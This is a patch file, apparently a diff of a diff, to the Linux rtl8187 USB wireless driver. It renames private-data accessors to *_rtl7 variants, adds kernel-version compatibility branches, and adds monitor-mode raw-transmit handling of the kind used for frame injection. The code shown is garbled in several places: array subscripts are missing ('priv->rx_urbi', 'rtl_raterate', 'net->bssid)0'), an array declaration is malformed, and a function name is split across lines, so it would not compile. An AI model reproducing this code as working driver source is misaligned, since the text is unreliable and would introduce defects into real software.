+ }
+@@ -589,11 +615,11 @@
+ 
+ void rtl8180_irq_enable(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	//priv->irq_enabled = 1;
+ /*
+-	write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ 
+-	INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ 
++	write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\
++	INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\
+ 	INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\
+ 	INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT);
+ */
+@@ -603,7 +629,7 @@
+ 
+ void rtl8180_irq_disable(struct net_device *dev)
+ {
+-//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);	
++//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 
+ 	write_nic_word(dev,INTA_MASK,0);
+ 	force_pci_posting(dev);
+@@ -625,115 +651,119 @@
+ 
+ void rtl8180_update_msr(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	u8 msr;
+-	
++
+ 	msr  = read_nic_byte(dev, MSR);
+ 	msr &= ~ MSR_LINK_MASK;
+-	
++
+ 	/* do not change in link_state != WLAN_LINK_ASSOCIATED.
+-	 * msr must be updated if the state is ASSOCIATING. 
++	 * msr must be updated if the state is ASSOCIATING.
+ 	 * this is intentional and make sense for ad-hoc and
+ 	 * master (see the create BSS/IBSS func)
+ 	 */
+-	if (priv->ieee80211->state == IEEE80211_LINKED){ 
+-			
++	if (priv->ieee80211->state == IEEE80211_LINKED){
++
+ 		if (priv->ieee80211->iw_mode == IW_MODE_INFRA)
+ 			msr |= (MSR_LINK_MANAGED<<MSR_LINK_SHIFT);
+ 		else if (priv->ieee80211->iw_mode == IW_MODE_ADHOC)
+ 			msr |= (MSR_LINK_ADHOC<<MSR_LINK_SHIFT);
+ 		else if (priv->ieee80211->iw_mode == IW_MODE_MASTER)
+ 			msr |= (MSR_LINK_MASTER<<MSR_LINK_SHIFT);
+-		
++
+ 	}else
+ 		msr |= (MSR_LINK_NONE<<MSR_LINK_SHIFT);
+-		
++
+ 	write_nic_byte(dev, MSR, msr);
+ }
+ 
+ void rtl8180_set_chan(struct net_device *dev,short ch)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	u32 tx;
+ 	priv->chan=ch;
+ 	#if 0
+-	if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || 
++	if(priv->ieee80211->iw_mode == IW_MODE_ADHOC ||
+ 		priv->ieee80211->iw_mode == IW_MODE_MASTER){
+-	
+-			priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED;	
++
++			priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED;
+ 			priv->ieee80211->master_chan = ch;
+-			rtl8180_update_beacon_ch(dev); 
++			rtl8180_update_beacon_ch(dev);
+ 		}
+ 	#endif
+-	
++
+ 	/* this hack should avoid frame TX during channel setting*/
+ 	tx = read_nic_dword(dev,TX_CONF);
+ 	tx &= ~TX_LOOPBACK_MASK;
+ 
+-#ifndef LOOP_TEST	
++#ifndef LOOP_TEST
+ 	write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<<TX_LOOPBACK_SHIFT));
+-
+ 	priv->rf_set_chan(dev,priv->chan);
+ 	mdelay(10);
+-	write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<<TX_LOOPBACK_SHIFT));
++ 	write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<<TX_LOOPBACK_SHIFT));
+ #endif
+ }
++
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs);
++#else
++void rtl8187_rx_isr(struct urb *rx_urb);
++#endif
+ 
+ 
+ void rtl8187_rx_urbsubmit(struct net_device *dev, struct urb* rx_urb)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	int err;
+-	
++
+ //	u8 *rx;
+-	
++
+ 	//DMESG("starting RX");
+ 	/*rx = kmalloc(RX_URB_SIZE*sizeof(u8),GFP_ATOMIC);
+-	if(!rx){ 
++	if(!rx){
+ 		DMESGE("unable to allocate RX buffer");
+ 		return;
+ 	}*/
+-	
++
+ 	usb_fill_bulk_urb(rx_urb,priv->udev,
+ 		usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer,
+ 			RX_URB_SIZE,rtl8187_rx_isr,dev);
+-	err = usb_submit_urb(rx_urb, GFP_ATOMIC);	
++	err = usb_submit_urb(rx_urb, GFP_ATOMIC);
+ 	if(err && err != -EPERM){
+ 		DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status);
+-		
++
+ 	}
+-	
++
+ }
+ 
+ 
+ void rtl8187_rx_initiate(struct net_device *dev)
+ {
+ 	int i;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	if(!priv->rx_urb)
+ 		DMESGE("Cannot intiate RX urb mechanism");
+-	for(i=0;i<MAX_RX_URB;i++) // RX_MAX_URB is 1 
++	for(i=0;i<MAX_RX_URB;i++) // RX_MAX_URB is 1
+ 		rtl8187_rx_urbsubmit(dev,priv->rx_urbi);
+-		
++
+ }
+ 
+ void rtl8187_set_rxconf(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	u32 rxconf;
+-	
++
+ 	rxconf=read_nic_dword(dev,RX_CONF);
+ 	rxconf = rxconf &~ MAC_FILTER_MASK;
+ 	rxconf = rxconf | (1<<ACCEPT_MNG_FRAME_SHIFT);
+ 	rxconf = rxconf | (1<<ACCEPT_DATA_FRAME_SHIFT);
+ 	rxconf = rxconf | (1<<ACCEPT_BCAST_FRAME_SHIFT);
+ 	rxconf = rxconf | (1<<ACCEPT_MCAST_FRAME_SHIFT);
+-	rxconf = rxconf | (1<<ACCEPT_CTL_FRAME_SHIFT);	
++	rxconf = rxconf | (1<<ACCEPT_CTL_FRAME_SHIFT);
+ 
+ 	if (dev->flags & IFF_PROMISC) DMESG ("NIC in promisc mode");
+-	
++
+ 	if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \
+ 	   dev->flags & IFF_PROMISC){
+ 		rxconf = rxconf | (1<<ACCEPT_ALLMAC_FRAME_SHIFT);
+@@ -741,40 +771,40 @@
+ 		rxconf = rxconf | (1<<ACCEPT_NICMAC_FRAME_SHIFT);
+ 		rxconf = rxconf | (1<<RX_CHECK_BSSID_SHIFT);
+ 	}
+-	
++
+ 	/*if(priv->ieee80211->iw_mode == IW_MODE_MASTER){
+ 		rxconf = rxconf | (1<<ACCEPT_ALLMAC_FRAME_SHIFT);
+ 		rxconf = rxconf | (1<<RX_CHECK_BSSID_SHIFT);
+ 	}*/
+-	
++
+ 	if(priv->ieee80211->iw_mode == IW_MODE_MONITOR){
+ 		rxconf = rxconf | (1<<ACCEPT_ICVERR_FRAME_SHIFT);
+ 		rxconf = rxconf | (1<<ACCEPT_PWR_FRAME_SHIFT);
+ 	}
+-	
++
+ 	if( priv->crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR)
+ 		rxconf = rxconf | (1<<ACCEPT_CRCERR_FRAME_SHIFT);
+-	
+-	
++
++
+ 	rxconf = rxconf &~ RX_FIFO_THRESHOLD_MASK;
+ 	rxconf = rxconf | (RX_FIFO_THRESHOLD_NONE<<RX_FIFO_THRESHOLD_SHIFT);
+-	
+-	
++
++
+ 	rxconf = rxconf | (1<<RX_AUTORESETPHY_SHIFT);
+-	
++
+ 	rxconf = rxconf &~ MAX_RX_DMA_MASK;
+ 	rxconf = rxconf | (MAX_RX_DMA_2048<<MAX_RX_DMA_SHIFT);
+-	
++
+ 	rxconf = rxconf | RCR_ONLYERLPKT;
+-	
++
+ //	rxconf = rxconf &~ RCR_CS_MASK;
+ //	rxconf = rxconf | (1<<RCR_CS_SHIFT);
+ 
+-	write_nic_dword(dev, RX_CONF, rxconf);	
+-	
++	write_nic_dword(dev, RX_CONF, rxconf);
++
+ 	// V rtl suggested V //
+ //	write_nic_dword(dev, RX_CONF, 0x901ce70e);
+-	
++
+ 	//fix_rx_fifo(dev);
+ // 	//set_nic_rxring(dev);
+ 	#ifdef DEBUG_RX
+@@ -785,23 +815,23 @@
+ void rtl8180_rx_enable(struct net_device *dev)
+ {
+ 	u8 cmd;
+-	
+-	
++
++
+ 	rtl8187_rx_initiate(dev);
+ 
+-	rtl8187_set_rxconf(dev);	
++	rtl8187_set_rxconf(dev);
+ 
+ 	cmd=read_nic_byte(dev,CMD);
+ 	write_nic_byte(dev,CMD,cmd | (1<<CMD_RX_ENABLE_SHIFT));
+ #if 0
+-	/* In rtl8139 driver seems that DMA threshold has to be written 
+-	 *  after enabling RX, so we rewrite RX_CONFIG register 
++	/* In rtl8139 driver seems that DMA threshold has to be written
++	 *  after enabling RX, so we rewrite RX_CONFIG register
+ 	 */
+ 	//mdelay(100);
+-	write_nic_dword(dev, RX_CONF, rxconf); 
+-	
++	write_nic_dword(dev, RX_CONF, rxconf);
++
+ #endif
+-	
++
+ }
+ 
+ 
+@@ -810,37 +840,37 @@
+ 	u8 cmd;
+ 	u8 byte;
+ 	u32 txconf;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	byte = read_nic_byte(dev,CW_CONF);
+ 	byte &= ~(1<<CW_CONF_PERPACKET_CW_SHIFT);
+ 	byte &= ~(1<<CW_CONF_PERPACKET_RETRY_SHIFT);
+ 	write_nic_byte(dev, CW_CONF, byte);
+-	
++
+ 	byte = read_nic_byte(dev, TX_AGC_CTL);
+ 	byte &= ~(1<<TX_AGC_CTL_PERPACKET_GAIN_SHIFT);
+ 	byte &= ~(1<<TX_AGC_CTL_PERPACKET_ANTSEL_SHIFT);
+ 	byte &= ~(1<<TX_AGC_CTL_FEEDBACK_ANT);
+ 	write_nic_byte(dev, TX_AGC_CTL, byte);
+-	
++
+ 	txconf= read_nic_dword(dev,TX_CONF);
+-	
++
+ 	#if 0
+ 	if(priv->card_8185){
+-		
++
+ 		txconf = txconf &~ (1<<TCR_PROBE_NOTIMESTAMP_SHIFT);
+-	
++
+ 	}else{
+-	
+-		if(priv->ieee80211->hw_seq) 
++
++		if(priv->ieee80211->hw_seq)
+ 			txconf= txconf &~ (1<<TX_CONF_HEADER_AUTOICREMENT_SHIFT);
+-		else 
++		else
+ 			txconf= txconf | (1<<TX_CONF_HEADER_AUTOICREMENT_SHIFT);
+ 	}
+ 	#endif
+ 
+ 	txconf = txconf &~ TX_LOOPBACK_MASK;
+-	
++
+ #ifndef LOOP_TEST
+ 	txconf = txconf | (TX_LOOPBACK_NONE<<TX_LOOPBACK_SHIFT);
+ #else
+@@ -848,23 +878,26 @@
+ #endif
+ 	txconf = txconf &~ TCR_DPRETRY_MASK;
+ 	txconf = txconf &~ TCR_RTSRETRY_MASK;
+-	
+-	txconf = txconf | (priv->retry_data<<TX_DPRETRY_SHIFT); // long
+-	txconf = txconf | (priv->retry_rts<<TX_RTSRETRY_SHIFT); // short
+-	
++
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		txconf = txconf | (priv->retry_data<<TX_DPRETRY_SHIFT); // long
++		txconf = txconf | (priv->retry_rts<<TX_RTSRETRY_SHIFT); // short
++	}
++
+ 	txconf = txconf &~ (1<<TX_NOCRC_SHIFT);
+-	
++
+ 	txconf = txconf &~ TCR_MXDMA_MASK;
+ 	txconf = txconf | (TCR_MXDMA_2048<<TCR_MXDMA_SHIFT);
+-	
++
+ 	txconf = txconf | TCR_CWMIN;
+ 	txconf = txconf | TCR_DISCW;
+ 	txconf = txconf &~ TCR_SWPLCPLEN;
+-	
++
+ 	txconf=txconf | (1<<TX_NOICV_SHIFT);
+-	
++
+ 	write_nic_dword(dev,TX_CONF,txconf);
+-	
++
+ 	// V RTL suggested V //
+ //	write_nic_dword(dev,TX_CONF,0x00e00707);
+ 
+@@ -872,9 +905,9 @@
+ #ifdef DEBUG_TX
+ 	DMESG("txconf: %x %x",txconf,read_nic_dword(dev,TX_CONF));
+ #endif
+-	
++
+ 	cmd=read_nic_byte(dev,CMD);
+-	write_nic_byte(dev,CMD,cmd | (1<<CMD_TX_ENABLE_SHIFT));		
++	write_nic_byte(dev,CMD,cmd | (1<<CMD_TX_ENABLE_SHIFT));
+ 
+ //	mdelay(100);
+ 	//write_nic_dword(dev,TX_CONF,txconf);
+@@ -889,18 +922,18 @@
+ #if 0
+ void rtl8180_beacon_tx_enable(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask &=~(1<<TX_DMA_STOP_BEACON_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+-	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);	
++	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+ 	rtl8180_set_mode(dev,EPROM_CMD_NORMAL);
+ }
+ 
+ 
+ void rtl8180_
+-_disable(struct net_device *dev) 
++_disable(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask |= (1<<TX_DMA_STOP_BEACON_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+@@ -914,8 +947,8 @@
+ {
+ 	u8 cmd;
+ 	int i;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	cmd=read_nic_byte(dev,CMD);
+ 	write_nic_byte(dev, CMD, cmd &~ \
+ 		       ((1<<CMD_RX_ENABLE_SHIFT)|(1<<CMD_TX_ENABLE_SHIFT)));
+@@ -926,9 +959,9 @@
+ 		usb_kill_urb(priv->rx_urbi);
+ 	}
+ 	/*while (read_nic_byte(dev,CMD) & (1<<CMD_RX_ENABLE_SHIFT))
+-	  udelay(10); 
++	  udelay(10);
+ 	*/
+-	
++
+ //	if(!priv->rx_skb_complete)
+ //		dev_kfree_skb_any(priv->rx_skb);
+ }
+@@ -939,14 +972,14 @@
+ 	#if 0
+ 	int i;
+ 	u32 *tmp;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev,
+-					  sizeof(u32)*8*count, 
++					  sizeof(u32)*8*count,
+ 					  &priv->txbeaconringdma);
+ 	if (!priv->txbeaconring) return -1;
+ 	for (tmp=priv->txbeaconring,i=0;i<count;i++){
+-		*tmp = *tmp &~ (1<<31); // descriptor empty, owned by the drv 
++		*tmp = *tmp &~ (1<<31); // descriptor empty, owned by the drv
+ 		/*
+ 		*(tmp+2) = (u32)dma_tmp;
+ 		*(tmp+3) = bufsize;
+@@ -955,7 +988,7 @@
+ 			*(tmp+4) = (u32)priv->txbeaconringdma+((i+1)*8*4);
+ 		else
+ 			*(tmp+4) = (u32)priv->txbeaconringdma;
+-		
++
+ 		tmp=tmp+8;
+ 	}
+ 	#endif
+@@ -965,15 +998,15 @@
+ 
+ void rtl8180_reset(struct net_device *dev)
+ {
+-	
++
+ 	u8 cr;
+-	
++
+ 	/* make sure the analog power is on before
+ 	 * reset, otherwise reset may fail
+ 	 */
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ 	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON);
+-	
++
+ 	rtl8180_irq_disable(dev);
+ 
+ 	mdelay(200);
+@@ -981,19 +1014,19 @@
+ 	write_nic_byte_E(dev,0x18,0x11);
+ 	write_nic_byte_E(dev,0x18,0x00);
+ 	mdelay(200);
+-	
++
+ 	cr=read_nic_byte(dev,CMD);
+ 	cr = cr & 2;
+ 	cr = cr | (1<<CMD_RST_SHIFT);
+ 	write_nic_byte(dev,CMD,cr);
+-	
++
+ 	force_pci_posting(dev);
+-	
++
+ 	mdelay(200);
+-	
+-	if(read_nic_byte(dev,CMD) & (1<<CMD_RST_SHIFT)) 
++
++	if(read_nic_byte(dev,CMD) & (1<<CMD_RST_SHIFT))
+ 		DMESGW("Card reset timeout!");
+-	else 
++	else
+ 		DMESG("Card successfully reset");
+ 
+ 	rtl8180_set_mode(dev,EPROM_CMD_LOAD);
+@@ -1005,13 +1038,13 @@
+ 	 */
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ 	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON);
+-	
++
+ }
+ 
+ inline u16 ieeerate2rtlrate(int rate)
+ {
+ 	switch(rate){
+-	case 10:	
++	case 10:
+ 	return 0;
+ 	case 20:
+ 	return 1;
+@@ -1037,32 +1070,42 @@
+ 	return 11;
+ 	default:
+ 	return 3;
+-	
++
+ 	}
+ }
+ static u16 rtl_rate = {10,20,55,110,60,90,120,180,240,360,480,540};
+ inline u16 rtl8180_rate2rate(short rate)
+ {
+ 	if (rate >11) return 0;
+-	return rtl_raterate; 
++	return rtl_raterate;
++}
++
++inline u8 rtl8180_IsWirelessBMode(u16 rate)
++{
++	if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) )
++		return 1;
++	else return 0;
+ }
+-		
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs)
++#else
++void rtl8187_rx_isr(struct urb *rx_urb)
++#endif
+ {
+ 	struct net_device *dev = (struct net_device*)rx_urb->context;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	priv->rxurb_task = rx_urb;
+ //	DMESGW("David: Rx tasklet start!");
+-	tasklet_schedule(&priv->irq_rx_tasklet);	
++	tasklet_schedule(&priv->irq_rx_tasklet);
+ //	DMESGW("=David: Rx tasklet finish!");
+ }
+ 
+ #if 0
+ void rtl8180_tx_queues_stop(struct net_device *dev)
+ {
+-	//struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	//struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	u8 dma_poll_mask = (1<<TX_DMA_STOP_LOWPRIORITY_SHIFT);
+ 	dma_poll_mask |= (1<<TX_DMA_STOP_HIPRIORITY_SHIFT);
+ 	dma_poll_mask |= (1<<TX_DMA_STOP_NORMPRIORITY_SHIFT);
+@@ -1078,7 +1121,7 @@
+ {
+ 	//FIXME !!
+ 	#if 0
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask |= (1<<TX_DMA_STOP_LOWPRIORITY_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+@@ -1091,7 +1134,7 @@
+ {
+ 	// FIXME !!
+ 	#if 0
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask &= ~(1<<TX_DMA_STOP_LOWPRIORITY_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+@@ -1105,14 +1148,19 @@
+  */
+ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
+-	short morefrag = 0;	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
++	short morefrag = 0;
+ 	unsigned long flags;
+ 	struct ieee80211_hdr *h = (struct ieee80211_hdr  *) skb->data;
+ 
+-	if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
+-		morefrag = 1;
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1)
++	{
++		if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
++		{
++			morefrag = 1;
++		}
++	}
+ //	DMESG("%x %x", h->frame_ctl, h->seq_ctl);
+ 	/*
+ 	* This function doesn't require lock because we make
+@@ -1121,24 +1169,30 @@
+ 	* the ieee stack, or from the try_wake_queue (again trought
+ 	* the ieee stack.
+ 	*/
+-	spin_lock_irqsave(&priv->tx_lock,flags);	
+-			
+-	//DMESG("TX");
+-	if (!check_nic_enought_desc(dev, LOW_PRIORITY)){
+-		DMESG("Error: no TX slot ");
+-		ieee80211_stop_queue(priv->ieee80211);
++	spin_lock_irqsave(&priv->tx_lock,flags);
++
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		//DMESG("TX");
++		if (!check_nic_enought_desc(dev, LOW_PRIORITY)){
++			DMESG("Error: no TX slot ");
++			ieee80211_stop_queue_rtl7(priv->ieee80211);
++		}
+ 	}
+-	
++
+ 	rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,
+ 		ieeerate2rtlrate(rate));
+ 
+-	priv->stats.txdatapkt++;
+-	
+-	if (!check_nic_enought_desc(dev, LOW_PRIORITY))
+-		ieee80211_stop_queue(priv->ieee80211);
+-		
+-	spin_unlock_irqrestore(&priv->tx_lock,flags);	
+-			
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		priv->stats.txdatapkt++;
++
++		if (!check_nic_enought_desc(dev, LOW_PRIORITY))
++			ieee80211_stop_queue_rtl7(priv->ieee80211);
++	}
++
++	spin_unlock_irqrestore(&priv->tx_lock,flags);
++
+ }
+ #if 0
+ /* This is a rough attempt to TX a frame
+@@ -1148,12 +1202,12 @@
+  */
+ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	int ret;
+ 	unsigned long flags;
+-	
++
+ 	spin_lock_irqsave(&priv->tx_lock,flags);
+-	
++
+ 	ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE);
+ /*
+ 	int i;
+@@ -1163,9 +1217,9 @@
+ */
+ 	priv->ieee80211->stats.tx_bytes+=skb->len;
+ 	priv->ieee80211->stats.tx_packets++;
+-	
+-	spin_unlock_irqrestore(&priv->tx_lock,flags);	
+-	
++
++	spin_unlock_irqrestore(&priv->tx_lock,flags);
++
+ 	dev_kfree_skb_any(skb);
+ 	return ret;
+ }
+@@ -1178,7 +1232,7 @@
+ 	u16 duration;
+ 	u16 drift;
+ 	*ext=0;
+-	
++
+ 	switch(rate){
+ 	case 0://1mbps
+ 		*ext=0;
+@@ -1187,7 +1241,7 @@
+ 		if(drift ==0 ) break;
+ 		duration++;
+ 		break;
+-		
++
+ 	case 1://2mbps
+ 		*ext=0;
+ 		duration = ((len+4)<<4) /0x4;
+@@ -1195,40 +1249,44 @@
+ 		if(drift ==0 ) break;
+ 		duration++;
+ 		break;
+-		
++
+ 	case 2: //5.5mbps
+ 		*ext=0;
+ 		duration = ((len+4)<<4) /0xb;
+ 		drift = ((len+4)<<4) % 0xb;
+-		if(drift ==0 ) 
++		if(drift ==0 )
+ 			break;
+ 		duration++;
+ 		break;
+-		
++
+ 	default:
+-	case 3://11mbps				
++	case 3://11mbps
+ 		*ext=0;
+ 		duration = ((len+4)<<4) /0x16;
+ 		drift = ((len+4)<<4) % 0x16;
+-		if(drift ==0 ) 
++		if(drift ==0 )
+ 			break;
+ 		duration++;
+-		if(drift > 6) 
++		if(drift > 6)
+ 			break;
+ 		*ext=1;
+ 		break;
+ 	}
+-	
++
+ 	return duration;
+ }
+ #endif
+ 
+ void rtl8180_try_wake_queue(struct net_device *dev, int pri);
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs)
++#else
++void rtl8187_lptx_isr(struct urb *tx_urb)
++#endif
+ {
+ 	struct net_device *dev = (struct net_device*)tx_urb->context;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	if(tx_urb->status == 0)
+ 		priv->stats.txlpokint++;
+ 	else
+@@ -1249,55 +1307,55 @@
+ 	if ((msrm == (MSR_LINK_ADHOC<<MSR_LINK_SHIFT) ||
+ 		(msrm == (MSR_LINK_MASTER<<MSR_LINK_SHIFT)))){
+ 		write_nic_byte(dev, MSR, msr2 | MSR_LINK_NONE);
+-		write_nic_byte(dev, MSR, msr);	
++		write_nic_byte(dev, MSR, msr);
+ 	}
+-	
+-	 
++
++
+ }
+ 
+ 
+ void rtl8187_net_update(struct net_device *dev)
+ {
+ 
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	struct ieee80211_network *net;
+ 	net = & priv->ieee80211->current_network;
+-	
+-	
++
++
+ 	write_nic_dword(dev,BSSID,((u32*)net->bssid)0);
+ 	write_nic_word(dev,BSSID+4,((u16*)net->bssid)2);
+ 	//for(i=0;i<ETH_ALEN;i++)
+ 	//	write_nic_byte(dev,BSSID+i,net->bssidi);
+ 
+ 	rtl8180_update_msr(dev);
+-		
++
+ //	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_word(dev, AtimWnd, 2);
+-	write_nic_word(dev, AtimtrItv, 100);	
++	write_nic_word(dev, AtimtrItv, 100);
+ 	write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval);
+ 	write_nic_word(dev, BcnIntTime, 100);
+-	
++
+ 
+ }
+ 
+ void rtl8187_beacon_tx(struct net_device *dev)
+ {
+ 
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	struct sk_buff *skb;
+ 	int i = 0;
+-	
++
+ 	rtl8187_net_update(dev);
+-	
+-	skb = ieee80211_get_beacon(priv->ieee80211);
+-	
+-	
+-	if(!skb){ 
++
++	skb = ieee80211_get_beacon_rtl7(priv->ieee80211);
++
++
++	if(!skb){
+ 		DMESG("not enought memory for allocating beacon");
+ 		return;
+ 	}
+-	
+-#if 0	
++
++#if 0
+ 	while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){
+ 		msleep_interruptible_rtl(HZ/2);
+ 		if(i++ > 20){
+@@ -1307,7 +1365,7 @@
+ 	}
+ #endif
+ 	write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7));
+-	
++
+ 	i=0;
+ 	//while(!read_nic_byte(dev,BQREQ & (1<<7)))
+ 	while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 )
+@@ -1318,31 +1376,38 @@
+ 			return ;
+ 		}
+ 	}
+-		
++
+ 	rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY,
+ 		0, priv->ieee80211->basic_rate);
+-	
++
+ }
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs)
++#else
++void rtl8187_nptx_isr(struct urb *tx_urb)
++#endif
+ {
+ 	struct net_device *dev = (struct net_device*)tx_urb->context;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	if(tx_urb->status == 0)
+ 		priv->stats.txnpokint++;
+ 	else
+ 		priv->stats.txnperr++;
+ 	kfree(tx_urb->transfer_buffer);
+ 	usb_free_urb(tx_urb);
+-	atomic_dec(&priv->tx_np_pending);
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		atomic_dec(&priv->tx_np_pending);
++	}
+ 	//rtl8180_try_wake_queue(dev,NORM_PRIORITY);
+ }
+ 
+ 
+-/* This function do the real dirty work: it sends a TX command 
+- * descriptor plus data URB 
++/* This function do the real dirty work: it sends a TX command
++ * descriptor plus data URB
+  */
+- 
++
+ short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority,
